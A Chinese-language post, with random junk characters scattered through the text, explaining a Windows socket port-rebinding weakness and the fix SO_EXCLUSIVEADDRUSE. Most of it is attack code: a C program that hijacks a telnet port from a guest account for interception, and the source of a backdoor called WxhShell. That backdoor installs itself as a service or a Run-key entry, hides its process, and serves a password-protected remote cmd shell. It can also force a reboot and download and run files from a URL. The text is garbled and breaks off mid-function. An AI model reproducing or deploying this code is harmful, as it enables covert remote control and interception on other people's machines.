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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e&q?}Ho s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b4 #R! 4NR@u\S saddr.sin_family = AF_INET; 6R UrF ;Q0bT`/X saddr.sin_addr.s_addr = htonl(INADDR_ANY); =1;= 9W`Frx'h1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H4-qB Z' !LM<:kf.| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .0HZNWRtb ]uL+&(cr 这意味着什么?意味着可以进行如下的攻击: Y$8JM t%1 ^Li 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O;Y:uHf t=euE{c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kr`]_m +V862R4,o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q~K(]Ya/ @JkK99\(>9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &F$:Q:* * d5I f"8`@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]<uQ.~ R5_i15< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8[%Ao/m qa >Ay|92e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [&S}dQ" W1aa:hEf #include qf)$$ qi #include vC;]jJb: #include >XW*T5aUA #include $K~LM8_CKy DWORD WINAPI ClientThread(LPVOID lpParam); oT95^y\9 int main() E N^Uki` { RuW!*LI WORD wVersionRequested; *~$~yM/~3U DWORD ret; yI{5m^s{ WSADATA wsaData; _A_ A$N~9 BOOL val; h:\oly\ SOCKADDR_IN saddr; 2 -!L _W( SOCKADDR_IN scaddr; Ft JjY@# int err; &:*q_$]Oz SOCKET s; 9~IQw#< SOCKET sc; c8 K3.&P6 int caddsize; 3B0lb"e HANDLE mt; TB6m0qX( DWORD tid; Mq%,lJA\ wVersionRequested = MAKEWORD( 2, 2 ); 7YWNd^FI
V err = WSAStartup( wVersionRequested, &wsaData ); HHk)ZfWRo if ( err != 0 ) { ni&*E~a
printf("error!WSAStartup failed!\n"); 6X
g]/FD return -1; }*U[>Z-eO } {[Q0qi = saddr.sin_family = AF_INET; @{
;XZb^ 0\{BWNK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OU DcY@x~ %Tn#- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N^?9ZO saddr.sin_port = htons(23); Wk;5/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iP~,n8W { *y[PNqyd printf("error!socket failed!\n"); %5Kq^]q;Y return -1; o;F" {RZ } +m\|e{G val = TRUE; }peBR80tQ //SO_REUSEADDR选项就是可以实现端口重绑定的 Jhkvd<L8`m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Fnx`Ri { J<j&;:IRd printf("error!setsockopt failed!\n"); dpZ;l 9 return -1; Doze8pn } ^S)TO}e //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I~eSZ?$s# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )QKf7 [: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {C*\O)Gep u9-nt}hGYM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "7%:sty { omZO+=8Q ret=GetLastError(); aiCFH_H4;L printf("error!bind failed!\n"); -l+P8:fL~ return -1; %n0;[sD0A } JYqSL)Ta*t listen(s,2); nCg66-3A while(1) m,LG=s { lEL78l. caddsize = sizeof(scaddr); 8am`6;O:! //接受连接请求 e>'H
IO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^u)z{.z'H/ if(sc!=INVALID_SOCKET) qf'm=efRyu { uw\1b.r'B mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #PLEPB if(mt==NULL) Sywu=b { 46jh-4)< printf("Thread Creat Failed!\n"); RH)EB<PV break; s3s4OAY } hi=XYC, } ;_kzcK!l CloseHandle(mt); &UHPX?x } 6"T['6:j closesocket(s); -OZ 5vH0 WSACleanup(); ^:, l\Y return 0; RH0>ZZR } c2l_$p DWORD WINAPI ClientThread(LPVOID lpParam) i yYJR { mbl]>JsQD SOCKET ss = (SOCKET)lpParam; y2HxP_s?P? SOCKET sc; = 64r:E unsigned char buf[4096]; Eq%@"-mo SOCKADDR_IN saddr; %bXx!x8( long num; < O*6T%; DWORD val; ;d.K_P DWORD ret; Q }k.JS~# //如果是隐藏端口应用的话,可以在此处加一些判断 C=Fzu&N} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |C \}P saddr.sin_family = AF_INET; 4fV3Ear=j saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $
0|a; saddr.sin_port = htons(23); U09.Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) co 4h*?q { V2Q$g^X' printf("error!socket failed!\n"); [a[/_Sf{ return -1; D:\ g,\Z } /h2b;" val = 100; bte~c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {'+QH)w( { z"4]5&3A ret = GetLastError(); =`n]/L"Q return -1; ?VU(Pq*` } oj,lz? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FX<b:# { }!#gu3 ret = GetLastError(); W" "*ASi return -1; <3PL@orO } u),Qa=Wp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TjK{9A { YKZrEP4^ printf("error!socket connect failed!\n"); ivgpS5 M`Y closesocket(sc); BDY}*cX closesocket(ss); >Y 1{rSk return -1; K[\'"HyQ,X } -u!qrJ*Z while(1) stl 1QO(h { c47")2/yO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T Zir>5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^62|d //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &}mw'_ I num = recv(ss,buf,4096,0); (oK^c-x if(num>0) uNbH\qd= send(sc,buf,num,0); gQSNU_o Z else if(num==0) Vpfp}pL break; #BK 9 k>i num = recv(sc,buf,4096,0); _?7#MWe& if(num>0) C9n}6Er=, send(ss,buf,num,0); jt~Qu- else if(num==0) :^ i9] break; g3@Rl2yQJ } !
ueN|8' closesocket(ss); I[MgIr^ closesocket(sc); F-(dRSDNM return 0 ; T`/IO.2 } SDG-~(Y x)rlyjFM ? Q@kg ========================================================== ~cAZB9Fa ub0zJTFJ# 下边附上一个代码,,WXhSHELL k@>\LR/v yDb'7(3- ========================================================== >e5 *prx+ !U_K&f #include "stdafx.h" |6:=}dE#[ 1
"TVRb #include <stdio.h> =6FUNvP#8 #include <string.h> z><5R|Gf #include <windows.h> ,7Y-k'7Kop #include <winsock2.h> Ph&urxH@ #include <winsvc.h> P27%xV-n> #include <urlmon.h> T[k4lM qpoV]#iW #pragma comment (lib, "Ws2_32.lib") %x;x_ #pragma comment (lib, "urlmon.lib") =M 6[URZ
r#PMy$7L #define MAX_USER 100 // 最大客户端连接数 _eSdnHWx #define BUF_SOCK 200 // sock buffer LVIAF0kX #define KEY_BUFF 255 // 输入 buffer q:>^ "P{ &ej8mq"\ #define REBOOT 0 // 重启 3>ex5 #define SHUTDOWN 1 // 关机 ] U@o0 -!RtH |P #define DEF_PORT 5000 // 监听端口 @YvOoTyb Gz
I~TWc+G #define REG_LEN 16 // 注册表键长度 vq*Q.0 M+ #define SVC_LEN 80 // NT服务名长度 Rx07trfN QZAB=rR // 从dll定义API Zt
-1h{7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); + Y.1)i} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _R|Ify#J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7T``-:`[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @r(Z%j7 I-D^>\k+ // wxhshell配置信息 :6 J +%(f struct WSCFG { vgIpj3u int ws_port; // 监听端口 O-vGyNxP| char ws_passstr[REG_LEN]; // 口令 *YTo{~ int ws_autoins; // 安装标记, 1=yes 0=no =d
2 r6%v char ws_regname[REG_LEN]; // 注册表键名 MfF~8 char ws_svcname[REG_LEN]; // 服务名 #$~ba%t9% char ws_svcdisp[SVC_LEN]; // 服务显示名 r'LVa6e"N char ws_svcdesc[SVC_LEN]; // 服务描述信息 '[|+aJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zr v] int ws_downexe; // 下载执行标记, 1=yes 0=no .D,p@4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" N(6|yZ<J3M char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0X8t>#uF Eh</? Qv\ }; s>_V
A$0H
.F> // default Wxhshell configuration j!~l,::$"X struct WSCFG wscfg={DEF_PORT, Kyt)2p "xuhuanlingzhe", &K_)#v`| 1, Tl]e%A`| "Wxhshell", $yDWu"R8 "Wxhshell", vgt]:$ "WxhShell Service", m ~#! "Wrsky Windows CmdShell Service", NvE}eA# "Please Input Your Password: ", UEs7''6RM 1, FLal}80.o: " http://www.wrsky.com/wxhshell.exe", ~fl@ 2 "Wxhshell.exe" ^VW
PdH/Fe }; UrlM%Jnq1 s..lK
"b // 消息定义模块 1sE?YJP- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,)+o char *msg_ws_prompt="\n\r? for help\n\r#>"; _8fr6tO+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [%~
:@m char *msg_ws_ext="\n\rExit."; c5q9LQ/ char *msg_ws_end="\n\rQuit."; "]'?a$\ky: char *msg_ws_boot="\n\rReboot..."; [L`ZE*z char *msg_ws_poff="\n\rShutdown..."; 0C<[9Dl.G8 char *msg_ws_down="\n\rSave to "; >FjR9B 7qO a
;^T char *msg_ws_err="\n\rErr!"; 6%`&+Lq char *msg_ws_ok="\n\rOK!"; 'C$XS>S >4Y3]6N0.F char ExeFile[MAX_PATH]; }<@j'Ok}. int nUser = 0; uJx"W HANDLE handles[MAX_USER]; =@Dwlze int OsIsNt; I4;A8I R2etB*k6[ SERVICE_STATUS serviceStatus; B!{d-gb SERVICE_STATUS_HANDLE hServiceStatusHandle; ~ *:F{ 6K
cD&S/ // 函数声明 g,`A[z2 int Install(void); K/m3 int Uninstall(void); VUTacA Y>L int DownloadFile(char *sURL, SOCKET wsh); ?7:KphFX) int Boot(int flag); mS>xGtD&K void HideProc(void); -aRU]kIf int GetOsVer(void); :.(;<b<\ int Wxhshell(SOCKET wsl); uZa9zs=}c void TalkWithClient(void *cs); M7f;Pa int CmdShell(SOCKET sock); #ywk|k5z] int StartFromService(void); M)*\a/6?{ int StartWxhshell(LPSTR lpCmdLine); 6-`|:[Q~ MUOa@O, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bQe^Px5
!. VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4p;aS$Q rG?>ltxB // 数据结构和表定义 ZZQG?("S' SERVICE_TABLE_ENTRY DispatchTable[] = YDC mI@ { u&G.4QQF {wscfg.ws_svcname, NTServiceMain}, {NpM.; {NULL, NULL} AE: Z+rM* }; r|4t aV& j Ja$a [ // 自我安装 XxHx:mi int Install(void) w6`9fX6{h { 5tQ1fJze char svExeFile[MAX_PATH]; aKU*j9A?;Z HKEY key; Q
4CjA3 strcpy(svExeFile,ExeFile); #T`t79*N gVeEdo`$< // 如果是win9x系统,修改注册表设为自启动 fQrhsuCrC if(!OsIsNt) { ( mxT2"fC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sGvIXD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FZreP.2)! RegCloseKey(key); /TS=7J# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OY[e.N
t& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1+b{}d RegCloseKey(key); +q6ydb, return 0; L
lqM c } (F7(^.MG } G!4(BGx& } zf3v5Hk else { yH][(o=2 AM=z`0so // 如果是NT以上系统,安装为系统服务 kq\)MQ"/X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .CP&bJP% if (schSCManager!=0) s
{^yj { +_-bJo2a SC_HANDLE schService = CreateService dr4Z5mw"E ( I ZQHu h schSCManager, l
& Dxg wscfg.ws_svcname, t|t#vcB wscfg.ws_svcdisp, kd"N29 SERVICE_ALL_ACCESS, a^ ,(v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w[P4&?2: SERVICE_AUTO_START, c1X1+b, SERVICE_ERROR_NORMAL, $ d?.2Kg svExeFile, ;?C#IU NULL, 9@Cv5L?p\ NULL, bINvqv0v NULL, d1[ZHio2c? NULL, +r3IN){jz NULL Wg`R_>qQSm ); ZiLj=bh if (schService!=0) o1nURJ! { (8_\^jJ CloseServiceHandle(schService); h6dPO" CloseServiceHandle(schSCManager); Y^<bl2"y8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +{sqcr1G strcat(svExeFile,wscfg.ws_svcname); boG_f@dv( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1+?N#Fh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hY`\&@ RegCloseKey(key); ybp -$e return 0; <w3!!+oK" } &/,|+U[ } D7_*k%;@ CloseServiceHandle(schSCManager); VK@!lJu! } Q1@A2+ c } 0527Wj |Ph3#^rM? return 1; "`N-* ;*W } \W,I?Kx$ 36US5ef // 自我卸载 SwZA6R& int Uninstall(void) @JdZ5Q { EJ2yO@5O HKEY key; <FZ@Q[RP e}1uz3Rh if(!OsIsNt) { ^pHq66d%Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { },|M9I0 RegDeleteValue(key,wscfg.ws_regname); n]he-NHP RegCloseKey(key); #m={yck * if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sVex
(X RegDeleteValue(key,wscfg.ws_regname); S6fb f>[ RegCloseKey(key); y(K"
-? return 0; ~i 7^P9 } K_&4D' } QY= = GfHt } Y3Q9=u*5 else { 4j)tfhwd8 aMTu-hA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Agrk|wPK if (schSCManager!=0) \6\<~UX^ { qP<Lr)nUH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v0L\0&+ if (schService!=0) &c1A*Pl/:G { dO%W+K if(DeleteService(schService)!=0) { 4[N^>qt = CloseServiceHandle(schService); %.Q
!oYehj CloseServiceHandle(schSCManager); {z|;Xi::" return 0; JchSMc.9 } y+7PwBo%e CloseServiceHandle(schService); <tioJG{OT }
O#I1V K CloseServiceHandle(schSCManager); kZ"BBJ6w } R
LD`O9#j } 1) Zf3Y8 TsTPj8GAl[ return 1; ({o'd=nO } l#n,Fg3 R4-~j gzx // 从指定url下载文件 tsk)zP,< int DownloadFile(char *sURL, SOCKET wsh) !F?XLekTi { }\C-}
Q HRESULT hr; &\_iOw8 char seps[]= "/"; 4!KoFoZt* char *token; =JmT:enV char *file; {p,]oOq\ char myURL[MAX_PATH]; NF?
vg/{ char myFILE[MAX_PATH]; jmeRrnC} |ZQ@fmvL/p strcpy(myURL,sURL); X]'7Ov token=strtok(myURL,seps); ,~._}E&9I while(token!=NULL) %; D.vKoh { G+F:99A file=token; !^ _"~ token=strtok(NULL,seps); !kC*g } k!{p7*0 $kQ~d8 O GetCurrentDirectory(MAX_PATH,myFILE); eY e, r strcat(myFILE, "\\"); nl9P,
d strcat(myFILE, file); ,UuH}E send(wsh,myFILE,strlen(myFILE),0); KZeQ47| send(wsh,"...",3,0); LCQE_}Mh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fj&i63?e if(hr==S_OK) Lco&Fp return 0; {%C7EAq* else 4!wR_@W^El return 1; ."Y
e\>k bwl|0"f+` } \Acqr@D Pfs;0}h5 // 系统电源模块 M.>l#4s,' int Boot(int flag) qcT'nZ:
{ >
%KuNy{ HANDLE hToken; ^urDoB: TOKEN_PRIVILEGES tkp; Q1z;/A$Al C$5[X7' if(OsIsNt) { d \35a4l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `ta7Gc/:UY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *Aa?yg:= tkp.PrivilegeCount = 1; !3ctB3eJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Exk\8,EGqS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =J~ x if(flag==REBOOT) { ^53r/V }% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p
l&Muv return 0; ]EpWSs!"g } x|5k<CiA else { b4pm_Um if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =ha{Ziryo return 0; &:7ZQ1 } k%G1i-]4 } o-Ga3i 8 else { ZR'H\Z if(flag==REBOOT) { i _%Q`i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s@7H1)U return 0; [#sz WNfU } *H|M;G else { `F>O; >i'' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fX|Y;S-@+ return 0; >_LDMs[-p } @i*|s~15 } 5;{H&O9Q @n": w2^B return 1; "T- `$'9 } X<*U.=r) Alxx[l\<J // win9x进程隐藏模块 eD#hpl void HideProc(void) 2TA*m{\Hr { L5\WpM= eET}r24 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >MvDVPi~+ if ( hKernel != NULL ) >HS W]"k { Zp#v Hs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XSZ k%_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,"L^W8"k FreeLibrary(hKernel); ,11H.E
Z } *C:|X b<9 +PuPO9jKO@ return; "^]cQ"A } TU
1I} , lgtC |kM= // 获取操作系统版本 ~((w?Yy"v int GetOsVer(void) J":,Vd!*- { ,kn">k9 OSVERSIONINFO winfo; 'u1?tQ=gmk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,c)uX#1 GetVersionEx(&winfo); 4%3Mb-#Y] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QhK#Y{xY return 1; SE~[bT else >lIk9| return 0; PxS8 n?y } !dC<4qZ\C x3"#POp // 客户端句柄模块 }x
wu*Zx int Wxhshell(SOCKET wsl) B[4KX { S9",d~EM SOCKET wsh; 8zR~d%pK struct sockaddr_in client; A`}rqhU.{- DWORD myID; 6 M*O{f hHMN6i while(nUser<MAX_USER) byfJy^8G { iS<I0\D int nSize=sizeof(client);
MEGv} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O~^" if(wsh==INVALID_SOCKET) return 1; Os1>kwC n0e1k.A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z7?~S2{c if(handles[nUser]==0) '`uwJ&@ closesocket(wsh); wL:flH@ else 3z&Fi;<+j nUser++; 5qP:/*+ } f|tjsZxQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9BuSN*4 /Dj=iBO return 0; <h'5cO } a,WICv0E
#c66) // 关闭 socket |YY_^C`"- void CloseIt(SOCKET wsh) vCwe'q`1 { H"dJ6 closesocket(wsh); M!XsJ<jN/ nUser--; z=3\Ab ExitThread(0); -#HA"7XOE } hs$GN] 0PrLuejz // 客户端请求句柄 t?'!$6 void TalkWithClient(void *cs) ~S7D>D3S { aiu5}%U @0u~?!g@ SOCKET wsh=(SOCKET)cs; lH6OcD:kj char pwd[SVC_LEN]; +P`*kj-P\ char cmd[KEY_BUFF]; Kiu_JzD char chr[1]; _`:1M2= int i,j; 7G>dTO P IwFF}<( while (nUser < MAX_USER) { Y*vW!yu f__cn^1 if(wscfg.ws_passstr) { d!
LE{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); De(Hw&
IV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~,B5Hc 2 //ZeroMemory(pwd,KEY_BUFF); K$E3QVa i=0; Nqa&_5" while(i<SVC_LEN) { q;][5 :dQ B R // 设置超时 4k@5/5zsM fd_set FdRead; mh{1*T$fP struct timeval TimeOut; -K3^BZHI FD_ZERO(&FdRead); ^>hW y D FD_SET(wsh,&FdRead); "\o+v|; TimeOut.tv_sec=8; -RvQB TimeOut.tv_usec=0; In<n&ib int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9vvx*rD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ikvWh<=>H 5jgR4a*_v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W1|0Yd ;P pwd =chr[0]; zIu
E9l if(chr[0]==0xd || chr[0]==0xa) {
7B\Vs-d pwd=0; zPjHsulK break; 9E>|=d|(d } xY^%&n i++; 75/(??2 } 2bkX}FWd; E{Ov>osq // 如果是非法用户,关闭 socket "q.\>MCv if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J2xw) + } ~ijVmWNk B=^)Ub5' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hUp.tK:X7o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !FElW`F g9Xu@N;bL while(1) { SfaQvstN ='s(| ZeroMemory(cmd,KEY_BUFF); F.=2u"[*& C8V/UbA
/ // 自动支持客户端 telnet标准 BlA_.]Sg$ j=0; xgKdMW'%g: while(j<KEY_BUFF) { O\"3J(y, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4hTMbS_; cmd[j]=chr[0]; C,ARXW1 if(chr[0]==0xa || chr[0]==0xd) { \1fN0e cmd[j]=0; hM6PP7XH break; @W[f1 } ,>0* @2 j++; eQp4|rf } KmA;HiH%J $+Z) // 下载文件 "2)H'< if(strstr(cmd,"http://")) { ]dGw2y send(wsh,msg_ws_down,strlen(msg_ws_down),0); %&w3;d;c if(DownloadFile(cmd,wsh)) ~&7MkkftM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 06c>$1-? else OHb[qX\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +RYls|f } '":lB]hS else { ]pNvxXbeW 1+jAz`nA:T switch(cmd[0]) { qQ?"@>PALD -y8`yHb_ // 帮助 ;U.hxh;+ case '?': { d(:8M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4,CXJ2 break; }dWq=)* } o7sT=x9 // 安装 1p/3!1 case 'i': { V@cM |( if(Install()) di6QVRj1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +wN^c#~7 else -- %N8L;e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kt["m. break; M42Ssn) } U |Jo{(Y // 卸载 ZjQ
|Wx case 'r': { s'E2P[: if(Uninstall()) ND>r#(_\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); LYz.Ci} else vdx0i&RiL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i+S)
K break; YW_Q\|p]M } zMm#Rhn // 显示 wxhshell 所在路径 *E/`KUG] case 'p': { {=!b/l;@ char svExeFile[MAX_PATH]; QLEKsX7p> strcpy(svExeFile,"\n\r"); ktFhc3);! strcat(svExeFile,ExeFile); k@f g(}6 send(wsh,svExeFile,strlen(svExeFile),0); [<g?WPCcC break; jr /pj? } x7:s]<kE // 重启 C)@y5. G; case 'b': { a!<8\vzg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %)|9E>fP]N if(Boot(REBOOT)) bF"G[pD send(wsh,msg_ws_err,strlen(msg_ws_err),0); %,6#2X nX% else { Sa?ksD2IaB closesocket(wsh); g*e ExitThread(0); 7hlO#PYZ } Jq&uF*! break; i|w81p^o } (e!0]Io@ // 关机 }Qip&IN case 'd': { JEahGzO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F+,~v- if(Boot(SHUTDOWN)) }z _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \N!AXD else { P@$/P99 closesocket(wsh); G7qG$wd8h ExitThread(0); Xm%D><CC8" } C&*oI =6 break; VY;{/.Sa } OjJXysslXO // 获取shell h|VeG3H case 's': { <lw`
3aa( CmdShell(wsh); 7\$qFF-y closesocket(wsh); 75"f2; ExitThread(0); -:2$ % break; dJ2Hr;Lc } >/kcdWl // 退出 uxtWybv case 'x': { 7n8~K3~; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _=Z,E.EN CloseIt(wsh); Xjo5v*P u break; Hfwq/Is } >}`:Ac // 离开 TUV&vz{ case 'q': { ,SynnE68 send(wsh,msg_ws_end,strlen(msg_ws_end),0); iYORu3 closesocket(wsh); Tl$[4heE WSACleanup(); NdtB1b exit(1); Bg5Wba%NK break; xO^:_8=&: } =vQcYa } HJXT9;w } !UG
7Uer 4
N H // 提示信息 A+SE91m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sp@^XmX(S } <tF9V Jq } J
pFfzb
96 q_K84K return; 0E,8R{e } QMa;Gy $@^pAP // shell模块句柄 zEd0Tmt int CmdShell(SOCKET sock) r=5{o1" { PD&\LbuG STARTUPINFO si; u<3HQ.:; ZeroMemory(&si,sizeof(si)); OMWbZ>jB si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U1DXeh~V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lD^]\;? PROCESS_INFORMATION ProcessInfo; M9V
q
-U18 char cmdline[]="cmd"; rR9|6l
3 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mef<=5t return 0; [5zx17' } T&%ux=Jt 9xO#tu] // 自身启动模式 $ACvV"b int StartFromService(void) iYDEI e { [`{Z}q& typedef struct 4wID]bKM { 8P^ITL z% DWORD ExitStatus; ),U X4%K= DWORD PebBaseAddress; Gb8D[1=u= DWORD AffinityMask; ,4zmb`dP< DWORD BasePriority; c_-drS ULONG UniqueProcessId; 8TGOx%}i ULONG InheritedFromUniqueProcessId; O4r0R1VQM } PROCESS_BASIC_INFORMATION; NLUT#!Gr P|.] DJ PROCNTQSIP NtQueryInformationProcess; ]w;rfn9D -~v|Rt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uJFdbBDSh static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fBRo_CU8! 4]h
=yc R HANDLE hProcess; $
et0s;GBv PROCESS_BASIC_INFORMATION pbi; J)`-+}7$v f|h|q_<; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !n*
